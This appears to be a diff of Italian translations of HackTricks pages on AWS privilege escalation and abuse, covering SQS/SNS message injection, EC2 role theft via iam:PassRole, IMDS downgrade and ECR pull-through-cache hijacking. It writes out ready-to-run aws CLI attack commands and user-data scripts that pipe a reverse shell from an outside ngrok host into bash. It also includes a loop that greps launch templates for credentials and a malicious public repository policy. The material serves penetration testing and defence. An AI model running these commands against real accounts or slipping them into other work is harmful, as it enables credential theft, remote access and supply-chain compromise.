+- Esecuzione rapida di “smash-and-grab” su molti segreti con meno chiamate API, potenzialmente bypassando gli avvisi tarati sui picchi di GetSecretValue.
 - I log di CloudTrail includono comunque un evento GetSecretValue per ogni segreto recuperato dal batch.
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,12 +4,12 @@

 ## Descrizione

-Abusa della resource policy di una SQS queue per permettere a un SNS topic controllato dall'attaccante di pubblicare messaggi in una SQS queue della vittima. Nello stesso account, una SNS subscription a un SNS topic si auto-conferma; in cross-account devi leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo consente l'iniezione di messaggi non richiesti che i consumer downstream potrebbero implicitamente considerare affidabili.
+Abusare della policy della risorsa di una queue SQS per permettere a un topic SNS controllato dall'attaccante di pubblicare messaggi in una queue SQS della vittima. Nello stesso account, una subscription SQS a un topic SNS si auto-conferma; in cross-account, è necessario leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo permette un'iniezione di messaggi non attendibile che i consumer a valle potrebbero implicitamente considerare affidabile.

 ### Requisiti
- Capacità di modificare la resource policy della SQS queue di destinazione: `sqs:SetQueueAttributes` sulla queue della vittima.
- Capacità di creare/pubblicare su un SNS topic sotto il controllo dell'attaccante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` sull'account/topic controllato dall'attaccante.
- Solo cross-account: temporaneo `sqs:ReceiveMessage` sulla queue della vittima per leggere il token di conferma e chiamare `sns:ConfirmSubscription`.
+- Capacità di modificare la resource policy della queue SQS target: `sqs:SetQueueAttributes` sulla queue della vittima.
+- Capacità di creare/pubblicare su un topic SNS sotto controllo dell'attaccante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` sull'account/topic dell'attaccante.
+- Solo cross-account: temporanea `sqs:ReceiveMessage` sulla queue della vittima per leggere il token di conferma e chiamare `sns:ConfirmSubscription`.

 ### Sfruttamento nello stesso account
 ```bash
@@ -45,10 +45,10 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
 aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
 ```
 ### Note tra account
- La queue policy sopra deve consentire il `TOPIC_ARN` esterno (attacker account).
- Le subscription non si auto-confermeranno. Concediti temporaneamente `sqs:ReceiveMessage` sulla victim queue per leggere il messaggio `SubscriptionConfirmation` e poi esegui `sns confirm-subscription` con il suo `Token`.
+- La queue policy di cui sopra deve consentire il `TOPIC_ARN` esterno (account dell'attaccante).
+- Le subscriptions non si auto-confermeranno. Concediti temporaneamente `sqs:ReceiveMessage` sulla victim queue per leggere il messaggio `SubscriptionConfirmation` e poi esegui `sns confirm-subscription` con il suo `Token`.

 ### Impatto
-**Impatto potenziale**: Iniezione continua di messaggi non richiesti in una coda SQS di fiducia tramite SNS, potenzialmente attivando elaborazioni non intenzionate, inquinamento dei dati o abuso dei flussi di lavoro.
+**Impatto potenziale**: Iniezione continua di messaggi non richiesti in una trusted SQS queue tramite SNS, potenzialmente innescando elaborazioni non volute, inquinamento dei dati o abuso dei workflow.

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -12,19 +12,19 @@ Per maggiori **informazioni su EC2** consulta:

 ### `iam:PassRole`, `ec2:RunInstances`

-Un attacker potrebbe **creare un'istanza assegnando un IAM role e poi accedervi** per rubare le credenziali dell'IAM role dall'endpoint metadata.
+Un attacker potrebbe **creare un'instance assegnando un ruolo IAM e poi accedervi** per rubare le credenziali del ruolo IAM dall'endpoint dei metadata.

 - **Accesso via SSH**

-Avvia una nuova istanza utilizzando una **creata** **ssh key** (`--key-name`) e poi fai ssh su di essa (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`).
+Avvia una nuova instance usando una **ssh key** già creata (`--key-name`) e poi connettiti via ssh (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`).
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
 --security-group-ids <sg-id>
 ```
- **Access via rev shell in user data**
+- **Accesso tramite rev shell in user data**

-Puoi avviare una nuova istanza usando un **user data** (`--user-data`) che ti invierà una **rev shell**. Non è necessario specificare il security group in questo modo.
+Puoi avviare una nuova istanza usando una **user data** (`--user-data`) che ti invierà una **rev shell**. Non è necessario specificare un security group in questo modo.
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Fai attenzione a GuradDuty se usi le credenziali del ruolo IAM al di fuori dell'istanza:
+Fai attenzione a GuradDuty se usi le credenziali dell'IAM role al di fuori dell'istanza:

 {{#ref}}
 ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}

-**Potenziale impatto:** privesc diretto verso qualsiasi EC2 role associato a instance profiles esistenti.
+**Impatto potenziale:** Privesc diretto verso qualsiasi EC2 role associato a instance profiles esistenti.

-#### Privesc a ECS
+#### Privesc su ECS

-Con questo set di permessi potresti anche **creare un EC2 instance e registrarlo all'interno di un ECS cluster**. In questo modo, gli ECS **services** verranno **eseguiti** all'interno della **EC2 instance** a cui hai accesso e potrai poi penetrare quei servizi (docker containers) e **rubare i loro ECS roles associati**.
+Con questo set di permessi potresti anche **creare un'EC2 instance e registrarla all'interno di un ECS cluster**. In questo modo, i **services** di ECS verranno **eseguiti** all'interno della **EC2 instance** a cui hai accesso e potrai quindi penetrare quei servizi (docker containers) e **rubare gli ECS roles loro associati**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,19 +59,19 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-Per imparare come forzare l'esecuzione dei servizi ECS in questa nuova istanza EC2 controlla:
+Per imparare come **forzare l'esecuzione dei servizi ECS** in questa nuova istanza EC2 consulta:

 {{#ref}}
 ../aws-ecs-privesc/README.md
 {{#endref}}

-Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance` potresti essere in grado di registrare l'istanza all'interno del cluster ed eseguire l'attacco commentato.
+Se non puoi **creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance`, potresti essere in grado di registrare l'istanza nel cluster ed eseguire l'attacco commentato.

-**Impatto potenziale:** Privesc diretto verso i ruoli ECS associati ai task.
+**Impatto Potenziale:** Privesc diretto ai ruoli ECS collegati ai task.

 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

-Analogamente allo scenario precedente, un attaccante con questi permessi potrebbe **cambiare il ruolo IAM di un'istanza compromessa** così da poter rubare nuove credenziali.\
+Analogamente allo scenario precedente, un attaccante con questi permessi potrebbe **modificare il ruolo IAM di un'istanza compromessa** così da poter rubare nuove credenziali.\
 Poiché un instance profile può avere solo 1 ruolo, se l'instance profile **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**.
 ```bash
 # Removing role from instance profile
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-Se il **instance profile ha un role** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **instance profile senza role** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **role** a quell'**instance profile** (come discusso in precedenza), e **associare l'instance profile** compromised a una instance compromised:
+Se l'**instance profile ha una role** e l'attaccante **non può rimuoverla**, c'è un'altra soluzione. Potrebbe **trovare** un **instance profile senza una role** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** la **role** a quell'**instance profile** (come spiegato in precedenza), e **associare l'instance profile** compromised a un compromised i**nstance:**

 - Se l'instance **non ha alcun instance** profile (`ec2:AssociateIamInstanceProfile`)
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Impatto potenziale:** Direct privesc to a different EC2 role (devi aver compromesso un'istanza AWS EC2 e avere qualche permesso aggiuntivo o uno specifico stato dell'instance profile).
+**Potenziale impatto:** privesc diretto a un diverso EC2 role (devi aver compromesso un'istanza AWS EC2 e avere permessi aggiuntivi o uno specifico stato dell'instance profile).

 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

-Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se un attaccante ha già accesso a un'istanza potrà rubare credenziali per altri ruoli dell'instance profile cambiando quello associato.
+Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se l'attaccante ha già accesso a un'istanza potrà rubare credenziali di più ruoli dell'instance profile modificando quello associato.

- Se essa **ha un instance profile**, puoi **rimuovere** l'instance profile (`ec2:DisassociateIamInstanceProfile`) e **associarlo**
+- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
- oppure **sostituire** il **instance profile** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
+- oppure **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
-**Impatto potenziale:** Privesc diretto a un diverso EC2 role (è necessario aver compromesso un'istanza AWS EC2 e disporre di permessi aggiuntivi o di uno specifico stato dell'instance profile).
+**Potential Impact:** Escalazione di privilegi diretta a un diverso EC2 role (è necessario aver compromesso un'istanza AWS EC2 e disporre di permessi aggiuntivi o di uno specifico instance profile status).

 ### `ec2:RequestSpotInstances`,`iam:PassRole`

-Un attaccante con i permessi **`ec2:RequestSpotInstances`and`iam:PassRole`** può **richiedere** una **Spot Instance** con un **EC2 Role attached** e una **rev shell** nei **user data**.\
-Una volta che l'istanza viene avviata, può **rubare l'IAM role**.
+Un attaccante con i permessi **`ec2:RequestSpotInstances`and`iam:PassRole`** può richiedere una **Spot Instance** con un **EC2 Role attached** e una **rev shell** nel **user data**.\
+Una volta che l'istanza è avviata, può **rubare la IAM role**.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`

-Un attaccante con la **`ec2:ModifyInstanceAttribute`** può modificare gli attributi dell'istanza. Tra questi, può **change the user data**, il che implica che può far eseguire all'istanza **run arbitrary data.** Ciò può essere usato per ottenere una **rev shell to the EC2 instance**.
+Un attaccante con il permesso **`ec2:ModifyInstanceAttribute`** può modificare gli attributi dell'istanza. Tra questi può **change the user data**, il che implica che può far **run arbitrary data.** Questo può essere usato per ottenere una **rev shell to the EC2 instance**.

-Nota che gli attributi possono essere **modificati solo mentre l'istanza è arrestata**, quindi sono necessari i **permessi** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
+Nota che gli attributi possono essere **modificati solo quando l'istanza è arrestata**, quindi sono necessari i **permessi** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \

 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potenziale impatto:** privesc diretto verso qualsiasi EC2 IAM Role associato a un'istanza creata.
+**Impatto potenziale:** privesc diretto a qualsiasi EC2 IAM Role associato a un'istanza creata.

 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

-Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** può creare una **nuova Launch Template version** con una **rev shell nei** **user data** e **qualsiasi EC2 IAM Role su di essa**, cambiare la versione predefinita, e **qualsiasi Autoscaler group** **che usa** quel **Launch Template** e che è **configurato** per usare la **latest** o la **default version** riavvierà le istanze usando quel template ed eseguirà la rev shell.
+Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** può creare una **nuova Launch Template version** con una **rev shell nel** il **user data** e **qualsiasi EC2 IAM Role su di essa**, impostare la versione predefinita, e **qualsiasi Autoscaler group** **che usa** quel **Launch Template** e che è **configurato** per usare la **latest** o la **default version** **riavvierà le istanze** usando quel template ed eseguirà la rev shell.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Potenziale Impatto:** privesc diretto a un diverso ruolo EC2.
+**Impatto potenziale:** Direct privesc to a different EC2 role.

 ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

-Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **creare una Launch Configuration** con un **IAM Role** e una **rev shell** all'interno dei **user data**, poi **creare un autoscaling group** da quella config e aspettare che la rev shell **rubi l'IAM Role**.
+Un attacker con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **create a Launch Configuration** con un **IAM Role** e una **rev shell** dentro i **user data**, poi **create an autoscaling group** da quella config e aspettare che la rev shell **steal the IAM Role**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 --desired-capacity 1 \
 --vpc-zone-identifier "subnet-e282f9b8"
 ```
-**Impatto potenziale:** Privesc diretto a un diverso ruolo EC2.
+**Impatto potenziale:** Privesc diretto a un diverso EC2 role.

 ### `!autoscaling`

-Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per escalare** i privilegi a un ruolo IAM perché, per poter allegare il ruolo specificato nella Launch Configuration o nel Launch Template, **è necessario il permesso `iam:PassRole` e `ec2:RunInstances`** (che è un privesc noto).
+L'insieme dei permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non sono sufficienti per escalate privileges a un IAM role** perché per poter allegare il ruolo specificato nella Launch Configuration o nella Launch Template **è necessario avere i permessi `iam:PassRole` e `ec2:RunInstances`** (che è un privesc noto).

 ### `ec2-instance-connect:SendSSHPublicKey`

-Un attacker con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedere (se ha accesso ssh all'istanza) o per escalare i privilegi.
+Un attacker con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha ssh access all'instance) o per escalate privileges.
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**Potential Impact:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
+**Potenziale impatto:** Privesc diretto ai ruoli IAM di EC2 associati alle istanze in esecuzione.

 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

-Un attacker con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una ssh key a una connessione seriale**. Se la console seriale non è abilitata, l'attacker ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**.
+Un attacker con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una ssh key a una connessione seriale**. Se la connessione seriale non è abilitata, l'attacker ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**.

-Per connettersi alla porta seriale è inoltre necessario **conoscere lo username e la password di un utente** presente nella macchina.
+Per connettersi alla porta seriale è inoltre necessario **conoscere lo username e la password di un utente** all'interno della macchina.
 ```bash
 aws ec2 enable-serial-console-access

@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \

 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-Questo modo non è molto utile per privesc in quanto è necessario conoscere uno username e una password per sfruttarlo.
+Questo metodo non è molto utile per il privesc poiché è necessario conoscere un nome utente e una password per sfruttarlo.

-**Impatto potenziale:** (Altamente non dimostrabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
+**Impatto potenziale:** (Altamente non verificabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.

 ### `describe-launch-templates`,`describe-launch-template-versions`

-Poiché i launch templates hanno il versioning, un attaccante con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come credenziali presenti nel user data. Per farlo, lo script seguente scorre tutte le versioni dei launch templates disponibili:
+Poiché i launch templates hanno versioning, un attaccante con le autorizzazioni **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come credenziali presenti nello user data. Per farlo, lo script seguente itera attraverso tutte le versioni dei launch templates disponibili:
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -248,26 +248,21 @@ echo
 done | grep -iE "aws_|password|token|api"
 done
 ```
-Nei comandi sopra, anche se stiamo specificando certi pattern (`aws_|password|token|api`), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili.
+Nei comandi sopra, anche se stiamo specificando alcuni pattern (`aws_|password|token|api`), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili.

-Supponendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste credenziali per autenticarsi ad AWS.
+Se troviamo `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste credenziali per autenticarsi ad AWS.

-**Impatto potenziale:** Escalation di privilegi diretta agli utenti IAM.
+**Impatto potenziale:** Escalation diretta dei privilegi agli utenti IAM.

-## Riferimenti
+## References

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

-{{#include ../../../../banners/hacktricks-training.md}}
+### `ec2:ModifyInstanceMetadataOptions` (downgrade IMDS per abilitare il furto di credenziali via SSRF)

+Un attaccante con la possibilità di invocare `ec2:ModifyInstanceMetadataOptions` su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (`HttpTokens=optional`) e aumentando il `HttpPutResponseHopLimit`. Questo rende l'endpoint dei metadata dell'istanza raggiungibile tramite percorsi comuni SSRF/proxy dalle applicazioni in esecuzione sull'istanza. Se l'attaccante riesce a innescare una SSRF in tale app, può recuperare le credenziali del profilo dell'istanza e pivotare con esse.

-
-
-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade per abilitare il furto di credenziali via SSRF)
-
-Un attaccante con la possibilità di chiamare `ec2:ModifyInstanceMetadataOptions` su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (`HttpTokens=optional`) e aumentando il `HttpPutResponseHopLimit`. Questo rende l'endpoint dei metadata dell'istanza raggiungibile tramite percorsi comuni SSRF/proxy dalle applicazioni in esecuzione sull'istanza. Se l'attaccante riesce a innescare una SSRF in tale app, può recuperare le credenziali dell'instance profile e pivotare con esse.
-
- Permessi richiesti: `ec2:ModifyInstanceMetadataOptions` sull'istanza target (più la capacità di raggiungere/innescare una SSRF sull'host).
+- Permessi richiesti: `ec2:ModifyInstanceMetadataOptions` sull'istanza target (più la possibilità di raggiungere/innescare una SSRF sull'host).
 - Risorsa target: l'istanza EC2 in esecuzione con un instance profile allegato (IAM role).

 Esempio di comandi:
@@ -297,4 +292,5 @@ aws sts get-caller-identity
 aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 --http-tokens required --http-put-response-hop-limit 1
 ```
-Impatto potenziale: furto di instance profile credentials tramite SSRF che porta a privilege escalation e lateral movement sfruttando i permessi del ruolo EC2.
+Impatto potenziale: Furto delle credenziali del profilo dell'istanza tramite SSRF, con conseguente escalation dei privilegi e movimento laterale usando i permessi del ruolo EC2.
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -6,21 +6,21 @@

 ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

-Un attacker con le **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può effettuare il login a ECR e scaricare images.
+Un attaccante con i **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può effettuare il login a ECR e scaricare immagini.

-Per maggiori info su come scaricare images:
+Per maggiori informazioni su come scaricare le immagini:

 {{#ref}}
 ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
 {{#endref}}

-**Potenziale Impatto:** Privesc indiretto intercettando informazioni sensibili nel traffico.
+**Impatto potenziale:** privesc indiretto dovuto all'intercettazione di informazioni sensibili nel traffico.

 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

-Un attacker con tutte queste permission **può effettuare il login a ECR e uploadare images**. Questo può essere utile per escalare privilegi ad altri ambienti dove tali images vengono utilizzate.
+Un attaccante con tutte queste autorizzazioni **può effettuare il login a ECR e caricare immagini**. Questo può essere utile per escalare privilegi verso altri ambienti in cui tali immagini vengono utilizzate.

-Per sapere come uploadare una nuova image/aggiornare una esistente, consulta:
+Per imparare come caricare una nuova immagine o aggiornare una esistente, consulta:

 {{#ref}}
 ../../aws-services/aws-eks-enum.md
@@ -32,8 +32,8 @@ Come la sezione precedente, ma per repository pubblici.

 ### `ecr:SetRepositoryPolicy`

-Un attacker con questa permission potrebbe **change** la **repository** **policy** per concedersi (o anche a chiunque) **read/write access**.\
-Ad esempio, in questo esempio read access è concesso a chiunque.
+Un attaccante con questa autorizzazione potrebbe **modificare** la **policy del repository** per concedersi (o anche a chiunque) **accesso in lettura/scrittura**.\
+Per esempio, in questo esempio l'accesso in lettura è concesso a tutti.
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
@@ -59,8 +59,8 @@ Contenuto di `my-policy.json`:
 ```
 ### `ecr-public:SetRepositoryPolicy`

-Come la sezione precedente, ma per repository pubblici.\
-Un attacker può **modify the repository policy** di un repository ECR Public per concedere accesso pubblico non autorizzato o per elevare i propri privilegi.
+Come nella sezione precedente, ma per repository pubbliche.\
+Un attacker può **modificare la repository policy** di un ECR Public repository per concedere accesso pubblico non autorizzato o per escalare i propri privilegi.
 ```bash
 # Create a JSON file with the malicious public repository policy
 echo '{
@@ -87,27 +87,21 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**Impatto potenziale**: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o eliminare immagini.
+**Impatto potenziale**: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images.

 ### `ecr:PutRegistryPolicy`

-Un attacker con questa autorizzazione potrebbe **modificare** la **registry policy** per concedere a sé stesso, al suo account (o persino a chiunque) **accesso in lettura/scrittura**.
+Un attacker con questo permesso potrebbe **modificare** la **registry policy** per concedere a se stesso, al suo account (o anche a chiunque) **read/write access**.
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
 --policy-text file://my-policy.json
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
-
 ### ecr:CreatePullThroughCacheRule

-Sfrutta le regole ECR Pull Through Cache (PTC) per mappare uno namespace upstream controllato dall'attaccante su un prefisso ECR privato attendibile. Questo fa sì che i workload che eseguono pull dal private ECR ricevano in modo trasparente immagini controllate dall'attaccante senza alcun push nel private ECR.
+Abusa delle regole ECR Pull Through Cache (PTC) per mappare un upstream namespace controllato dall'attacker su un prefisso ECR privato attendibile. Questo fa sì che i workload che effettuano pull dall'ECR privato ricevano in modo trasparente immagini dell'attacker senza alcun push verso l'ECR privato.

- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si usa l'upstream ECR Public: ecr-public:* per creare/push al repository pubblico.
+- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si usa ECR Public come upstream: ecr-public:* per creare/pushare nel repo pubblico.
 - Upstream testato: public.ecr.aws

 Passaggi (esempio):
@@ -126,19 +120,19 @@ docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
 docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
 docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

-Potential Impact: Compromissione della supply chain sfruttando nomi interni delle immagini sotto il prefisso scelto. Qualunque workload che esegua pull di immagini dal private ECR usando quel prefisso riceverà contenuti controllati dall'attaccante.
+Impatto potenziale: compromissione della supply-chain mediante il dirottamento dei nomi delle immagini interne sotto il prefisso scelto. Qualsiasi workload che effettua pull di immagini dall'ECR privato usando quel prefisso riceverà contenuto controllato dall'attacker.

 ### `ecr:PutImageTagMutability`

-Sfrutta questo permesso per trasformare un repository con tag immutabili in modificabili e sovrascrivere tag attendibili (ad es., latest, stable, prod) con contenuti controllati dall'attaccante.
+Abusa di questa autorizzazione per rendere mutabile un repository con tag immutabili e sovrascrivere tag affidabili (es. latest, stable, prod) con contenuto controllato dall'attacker.

- Permessi richiesti: `ecr:PutImageTagMutability` oltre ai permessi di push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impatto: Compromissione della supply chain tramite la sostituzione silente di tag immutabili senza cambiare i nomi dei tag.
+- Permessi richiesti: `ecr:PutImageTagMutability` più capacità di push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Impatto: compromissione della supply-chain sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag.

 Passaggi (esempio):

 <details>
-<summary>Avvelenare un tag immutabile alternando la mutabilità</summary>
+<summary>Avvelena un tag immutabile cambiando la mutabilità</summary>
 ```bash
 REGION=us-east-1
 REPO=ht-immutable-demo-$RANDOM
@@ -158,14 +152,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
 </details>


-#### Hijack globale del registry tramite regola ROOT Pull-Through Cache
+#### Global registry hijack via ROOT Pull-Through Cache rule

-Crea una regola Pull-Through Cache (PTC) usando il valore speciale `ecrRepositoryPrefix=ROOT` per mappare la radice del registry ECR privato a un registry pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registry privato verrà servito in modo trasparente dall'upstream, abilitando supply-chain hijacking senza dover effettuare push su ECR privato.
+Crea una regola Pull-Through Cache (PTC) usando il valore speciale `ecrRepositoryPrefix=ROOT` per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato sarà servito in modo trasparente dall'upstream, abilitando supply-chain hijacking senza dover pushare su ECR privato.

 - Permessi richiesti: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impatto: I pull verso `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` avranno successo e creeranno automaticamente repository privati derivati dall'upstream.
+- Impatto: i pull a `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` avranno successo e creeranno automaticamente repository privati derivati dall'upstream.

-> Nota: Per le regole `ROOT`, omettere `--upstream-repository-prefix`. Fornire questo parametro causerà un errore di validazione.
+> Nota: Per le regole `ROOT`, omettere `--upstream-repository-prefix`. Specificarlo causerà un errore di validazione.

 <details>
 <summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
 ```
 </details>

-### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` per bypassare i deny della registry policy)
+### `ecr:PutAccountSetting` (Abbassare `REGISTRY_POLICY_SCOPE` per eludere i Deny della registry policy)

